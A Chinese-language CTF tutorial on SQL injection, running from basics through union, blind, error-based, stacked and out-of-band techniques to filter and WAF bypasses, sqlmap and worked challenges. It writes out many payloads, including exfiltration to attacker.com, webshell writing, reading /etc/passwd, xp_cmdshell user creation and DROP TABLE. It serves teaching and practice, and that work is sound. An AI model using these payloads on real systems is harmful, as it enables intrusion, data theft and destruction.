CTF-WEB-SQL注入
CTF-WEB-SQL注入
第一部分:SQL注入基础
1.1 SQL注入概述
SQL 注入是指 Web 应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在 Web 应用程序中事先定义好的查询语句的结尾上添加额外的 SQL 语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
1.1.1 SQL注入的危害
SQL注入可以导致以下严重后果:
- 绕过认证机制,非法登录系统
- 窃取、篡改、删除数据库中的敏感数据
- 执行系统命令,控制服务器
- 读取服务器上的任意文件
- 向服务器上传恶意文件
- 完全控制数据库服务器
1.1.2 SQL注入原理
SQL注入的根本原因是程序没有对用户输入进行严格的过滤,导致用户输入被拼接到SQL语句中执行。例如:
1 | $username = $_POST['username']; |
如果用户输入admin' --
作为用户名,构造的SQL语句将变为:
1 | SELECT * FROM users WHERE username='admin' -- ' AND password='' |
--
是SQL中的注释符,这使得密码验证被注释掉,攻击者可以无需密码直接以admin身份登录。
1.2 SQL注入分类
SQL注入可以根据不同的标准进行分类:
1.2.1 按照注入点类型分类
- 数字型注入:注入点为数字,不需要单引号闭合
1 | SELECT * FROM users WHERE id=1 |
注入示例:1 OR 1=1
- 字符型注入:注入点为字符串,需要单引号闭合
1 | SELECT * FROM users WHERE username='admin' |
注入示例:admin' OR '1'='1
- 搜索型注入:通常出现在搜索功能中,使用LIKE关键字
1 | SELECT * FROM products WHERE name LIKE '%手机%' |
注入示例:%' AND 1=CONVERT(int,(SELECT table_name FROM information_schema.tables)) AND '%'='
1.2.2 按照数据返回方式分类
- 显错注入(Error-based):页面会返回数据库的错误信息
- 盲注(Blind Injection):
- 布尔盲注(Boolean-based):根据页面返回的真假条件判断
- 时间盲注(Time-based):通过页面响应时间判断
- 联合查询注入(Union-based):使用UNION合并查询结果
- 堆叠查询注入(Stacked queries):执行多条SQL语句
1.2.3 按照注入位置分类
- GET注入:通过URL参数注入
- POST注入:通过表单POST数据注入
- Cookie注入:通过Cookie数据注入
- HTTP头注入:通过User-Agent、Referer等HTTP头注入
1.3 SQL注入检测方法
1.3.1 手动检测
- 单引号测试:输入单引号
'
,查看是否报错 - 布尔测试:
- 输入
1' AND '1'='1
和1' AND '1'='2
,观察页面差异 - 输入
1' OR '1'='1
,观察是否返回所有记录
- 输入
- 数字型测试:
- 输入
1 AND 1=1
和1 AND 1=2
,观察页面差异
- 输入
- 注释符测试:尝试使用
--
、#
、/* */
等注释符
1.3.2 自动化工具检测
- SQLmap:最强大的SQL注入自动化工具
- Burp Suite:可配合手动测试进行半自动化检测
- Havij:图形化SQL注入工具
- NoSQLMap:针对NoSQL注入的工具
第二部分:SQL注入技术详解
2.1 联合查询注入(Union-based)
联合查询注入是最常见的注入方式之一,利用UNION操作符将恶意查询结果合并到原始查询结果中。
2.1.1 基本步骤
- 确定注入点
- 确定字段数(使用ORDER BY)
- 确定回显位置
- 获取数据库信息
- 获取表名
- 获取列名
- 获取数据
2.1.2 详细过程
步骤1:确定字段数
1 | ' ORDER BY 1-- |
当n超过实际字段数时页面会报错,从而确定字段数。
步骤2:确定回显位置
1 | ' UNION SELECT 1,2,3,...,n-- |
观察页面中显示的数字位置,这些位置可以用来回显数据。
步骤3:获取数据库信息
1 | ' UNION SELECT 1,database(),user(),version(),5-- |
步骤4:获取表名
MySQL:
1 | ' UNION SELECT 1,group_concat(table_name),3,4 FROM information_schema.tables WHERE table_schema=database()-- |
SQL Server:
1 | ' UNION SELECT 1,table_name,3,4 FROM information_schema.tables-- |
Oracle:
1 | ' UNION SELECT 1,table_name,3,4 FROM all_tables-- |
步骤5:获取列名
MySQL:
1 | ' UNION SELECT 1,group_concat(column_name),3,4 FROM information_schema.columns WHERE table_name='users'-- |
SQL Server:
1 | ' UNION SELECT 1,column_name,3,4 FROM information_schema.columns WHERE table_name='users'-- |
Oracle:
1 | ' UNION SELECT 1,column_name,3,4 FROM all_tab_columns WHERE table_name='USERS'-- |
步骤6:获取数据
1 | ' UNION SELECT 1,username,password,4 FROM users-- |
2.2 布尔盲注(Boolean-based Blind)
当页面没有明显错误回显,但会根据查询条件返回不同内容时,可以使用布尔盲注。
2.2.1 基本技术
- 使用条件语句判断单个字符
- 通过二分法加速猜测过程
- 构造真/假条件观察页面差异
2.2.2 示例
判断数据库名长度
1 | ' AND (SELECT length(database()))=5-- |
判断数据库名第一个字符
1 | ' AND (SELECT substring(database(),1,1))='a'-- |
完整自动化脚本示例(Python)
1 | import requests |
2.3 时间盲注(Time-based Blind)
当页面没有任何回显差异时,可以使用时间盲注,通过页面响应时间判断条件真假。
2.3.1 常用延时函数
- MySQL:
SLEEP(5)
,BENCHMARK(10000000,MD5('a'))
- SQL Server:
WAITFOR DELAY '0:0:5'
- PostgreSQL:
pg_sleep(5)
- Oracle:
DBMS_LOCK.SLEEP(5)
2.3.2 示例
MySQL时间盲注
1 | ' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)-- |
自动化脚本示例(Python)
1 | import requests |
2.4 报错注入(Error-based)
利用数据库报错信息获取数据,通常需要特定函数。
2.4.1 MySQL报错函数
extractvalue()
1
' AND extractvalue(1,concat(0x7e,(SELECT database()),0x7e))--
updatexml()
1
' AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)--
floor()
1
' AND (SELECT 1 FROM (SELECT count(*),concat((SELECT database()),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)--
2.4.2 SQL Server报错函数
1 | ' AND 1=CONVERT(int,(SELECT table_name FROM information_schema.tables))-- |
2.4.3 Oracle报错函数
1 | ' AND 1=CTXSYS.DRITHSX.SN(1,(SELECT user FROM dual))-- |
2.5 堆叠查询(Stacked Queries)
堆叠查询允许执行多条SQL语句,语句间用分号分隔。
2.5.1 支持数据库
- SQL Server
- PostgreSQL
- MySQL(需要特定配置)
2.5.2 示例
SQL Server示例
1 | '; EXEC xp_cmdshell 'net user test test /add'-- |
MySQL示例(需要支持多语句)
1 | '; DROP TABLE users; -- |
2.6 带外数据(OOB)注入
当常规注入无法直接获取数据时,可以使用带外通道技术。
2.6.1 常用技术
- DNS外带
- HTTP请求外带
2.6.2 MySQL DNS外带示例
1 | ' AND (SELECT LOAD_FILE(concat('\\\\',(SELECT database()),'.attacker.com\\share\\')))-- |
2.6.3 SQL Server HTTP外带示例
1 | '; DECLARE @data VARCHAR(1024); SELECT @data=(SELECT TOP 1 table_name FROM information_schema.tables); EXEC('master..xp_dirtree "\\'+@data+'.attacker.com\share\"');-- |
第三部分:CTF中常见SQL注入题型与解法
3.1 基础注入题
题型特征:
- 明显的注入点
- 直接回显或错误信息
- 简单的过滤
解法:
- 使用联合查询获取数据
- 可能需要绕过简单过滤
示例(CTF题目解法):
1 | # 确定字段数 |
3.2 盲注题
题型特征:
- 无直接回显
- 只有正确/错误两种状态
- 可能需要时间盲注
解法:
- 编写自动化脚本爆破
- 使用二分法加速
- 可能需要处理延迟和超时
示例(CTF题目解法):
1 | import requests |
3.3 过滤绕过题
题型特征:
- 过滤了常见关键词(如SELECT, UNION, 空格等)
- 需要创造性绕过
常见绕过技术:
- 大小写绕过:
SeLeCt
- 双写绕过:
SELSELECTECT
- 注释绕过:
SEL/*xxx*/ECT
- 编码绕过:十六进制
0x53454C454354
- 等价函数/语法替换:
||
代替OR
&&
代替AND
LIKE
代替=
- 空白符替换:
%09
TAB%0a
换行%0c
换页%0d
回车%0b
垂直TAB/**/
注释作为空格
示例(CTF题目解法):
假设过滤了SELECT和空格:
1 | # 使用大小写和/**/绕过 |
3.4 二次注入题
题型特征:
- 输入先被存储后使用
- 直接注入无效
- 需要分两步进行
解法:
- 注册或提交包含恶意SQL片段的输入
- 触发存储的恶意代码执行
示例(CTF题目解法):
注册用户名:
admin'--
修改密码时,后台SQL:
1
UPDATE users SET password='newpass' WHERE username='admin'-- '
这会导致admin用户的密码被修改
3.5 SQLite注入题
题型特征:
- 使用SQLite数据库
- 特殊的系统表和函数
特殊点:
- 系统表:
sqlite_master
- 没有information_schema
- 字符串连接用
||
- 注释只有
--
示例(CTF题目解法):
1 | # 获取表名 |
3.6 NoSQL注入题
题型特征:
- 使用MongoDB等NoSQL数据库
- 查询语法不同
- 通常使用JSON格式
常见注入技术:
运算符注入:
1
{"username": {"$ne": ""}, "password": {"$ne": ""}}
正则注入:
1
{"username": {"$regex": "^a"}, "password": {"$ne": ""}}
JavaScript注入:
1
{"$where": "this.username == 'admin' && this.password.length > 0"}
示例(CTF题目解法):
1 | # 绕过登录 |
3.7 文件读写题
题型特征:
- 需要读取服务器文件
- 或写入webshell
解法:
MySQL读取文件:
1 | ' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3-- |
MySQL写入文件:
1 | ' UNION SELECT 1,'<?php system($_GET["cmd"]); ?>',3 INTO OUTFILE '/var/www/html/shell.php'-- |
PostgreSQL读取文件:
1 | ' UNION SELECT 1,pg_read_file('/etc/passwd'),3-- |
PostgreSQL写入文件:
1 | ' UNION SELECT 1,'<?php system($_GET["cmd"]); ?>',3 INTO OUTFILE '/var/www/html/shell.php'-- |
SQL Server读取文件:
1 | '; CREATE TABLE temp(data text); BULK INSERT temp FROM 'c:\windows\win.ini'; SELECT * FROM temp-- |
3.8 堆叠注入与命令执行题
题型特征:
- 支持多语句执行
- 可能需要执行系统命令
解法:
SQL Server执行命令:
1 | '; EXEC xp_cmdshell 'whoami'-- |
PostgreSQL执行命令:
1 | '; CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT; SELECT system('whoami');-- |
MySQL(UDF提权):
1 | '; SELECT sys_exec('whoami')-- |
第四部分:防御技术与绕过进阶
4.1 常见防御技术
- 输入过滤
- 关键字过滤
- 特殊字符过滤
- 参数化查询
- 使用预处理语句
- 绑定参数
- 最小权限原则
- 数据库账户降权
- 限制网络访问
- WAF防护
- 基于规则的过滤
- 行为分析
- 其他措施
- 错误信息隐藏
- 输入长度限制
- 二次验证
4.2 高级绕过技术
4.2.1 WAF绕过技术
- 注释混淆
1 | SEL/*xxxx*/ECT |
- 空白符变异
1 | SELECT%0a*%0cFROM%0dusers |
- 函数分割
1 | CONCAT('sel','ect') |
编码绕过
- URL编码
- 十六进制编码
- Unicode编码
HTTP参数污染
1 | ?id=1&id=2' UNION SELECT 1,2,3-- |
缓冲区溢出
- 超长参数使WAF无法处理
4.2.2 预处理语句绕过
二次注入
- 先存储恶意代码再触发
非参数化部分注入
- 表名、列名、ORDER BY等位置
PDO模拟预处理绕过
1 | $pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, true); |
4.2.3 云WAF绕过
- IP轮询:切换IP地址
- 协议层攻击:HTTP/2特性利用
- 资源限制绕过:慢速攻击
- 0day利用:未知规则绕过
4.3 防御最佳实践
- 代码层面
- 使用参数化查询
- 使用ORM框架
- 白名单验证输入
- 架构层面
- 部署WAF
- 数据库最小权限
- 网络隔离
- 运维层面
- 定期更新补丁
- 日志审计
- 安全测试
第五部分:SQL注入实战工具
5.1 SQLmap详解
SQLmap是最强大的自动化SQL注入工具,支持多种数据库和注入技术。
5.1.1 基本用法
1 | # 检测注入点 |
5.1.2 高级功能
1 | # 使用POST请求 |
5.2 其他实用工具
- Burp Suite:拦截修改请求,半自动化测试
- NoSQLMap:针对NoSQL注入
- Havij:图形化SQL注入工具
- jSQL Injection:Java编写的轻量级注入工具
第六部分:CTF SQL注入实战案例
6.1 案例1:基础联合查询注入
题目描述:
- URL:http://ctf.example.com/challenge1?id=1
- 页面返回商品信息
- 目标:获取数据库中的flag
解题步骤:
- 测试注入点
1 | http://ctf.example.com/challenge1?id=1' |
发现报错,存在注入
- 确定字段数
1 | http://ctf.example.com/challenge1?id=1 ORDER BY 3-- |
测试到4时报错,确定3个字段
- 确定回显位置
1 | http://ctf.example.com/challenge1?id=-1 UNION SELECT 1,2,3-- |
发现2,3位置有回显
- 获取数据库信息
1 | http://ctf.example.com/challenge1?id=-1 UNION SELECT 1,database(),user()-- |
得到数据库名:ctf_db
- 获取表名
1 | http://ctf.example.com/challenge1?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema='ctf_db'-- |
得到表名:products,flag_table
- 获取flag
1 | http://ctf.example.com/challenge1?id=-1 UNION SELECT 1,flag,3 FROM flag_table-- |
成功获取flag
6.2 案例2:盲注挑战
题目描述:
- URL:http://ctf.example.com/challenge2
- POST登录表单,无错误回显
- 登录成功返回”Welcome”,失败无返回
- 目标:获取admin密码
解题步骤:
- 分析登录逻辑
1 | SELECT * FROM users WHERE username='input' AND password='input' |
- 编写Python脚本爆破密码
1 | import requests |
- 运行脚本获取密码
最终得到admin密码:s3cr3tP@ssw0rd
6.3 案例3:过滤绕过挑战
题目描述:
- URL:http://ctf.example.com/challenge3?id=1
- 过滤了SELECT, UNION, 空格等关键词
- 目标:获取flag
解题步骤:
测试过滤规则
- 发现SELECT被过滤
- 空格被过滤
- UNION被过滤
使用大小写和/**/绕过
1 | http://ctf.example.com/challenge3?id=-1'/**/UnIoN/**/SeLeCt/**/1,2,3-- |
- 获取数据库信息
1 | http://ctf.example.com/challenge3?id=-1'/**/UnIoN/**/SeLeCt/**/1,database(),user()-- |
- 使用十六进制绕过表名过滤
1 | http://ctf.example.com/challenge3?id=-1'/**/UnIoN/**/SeLeCt/**/1,group_concat(table_name),3/**/FrOm/**/information_schema.tables/**/WhErE/**/table_schema=0x6374665f6462-- |
(0x6374665f6462是’ctf_db’的十六进制)
- 最终获取flag
1 | http://ctf.example.com/challenge3?id=-1'/**/UnIoN/**/SeLeCt/**/1,flag,3/**/FrOm/**/flag_table-- |
第七部分:SQL注入练习平台推荐
- DVWA (Damn Vulnerable Web Application)
- 包含多种漏洞环境
- 可调节安全等级
- SQLi Labs
- 专注SQL注入练习
- 多种注入场景
- Web Security Academy (PortSwigger)
- 专业的Web安全学习平台
- 包含SQL注入实验
- Hack The Box
- 综合渗透测试平台
- 包含SQL注入挑战
- CTF比赛平台
- CTFHub
- BugKu
- PicoCTF
结语
SQL注入作为Web安全中最经典也最危险的漏洞之一,在CTF比赛中占据重要地位。掌握SQL注入不仅需要理解各种注入技术,还需要熟悉不同数据库的特性、常见的防御手段以及相应的绕过方法。通过系统的学习和大量的实践,才能在各种CTF挑战中游刃有余。
记住,在真实环境中进行SQL注入测试必须获得授权,未经授权的测试可能触犯法律。CTF比赛提供了合法的环境来磨练这些技能,是学习Web安全的绝佳途径。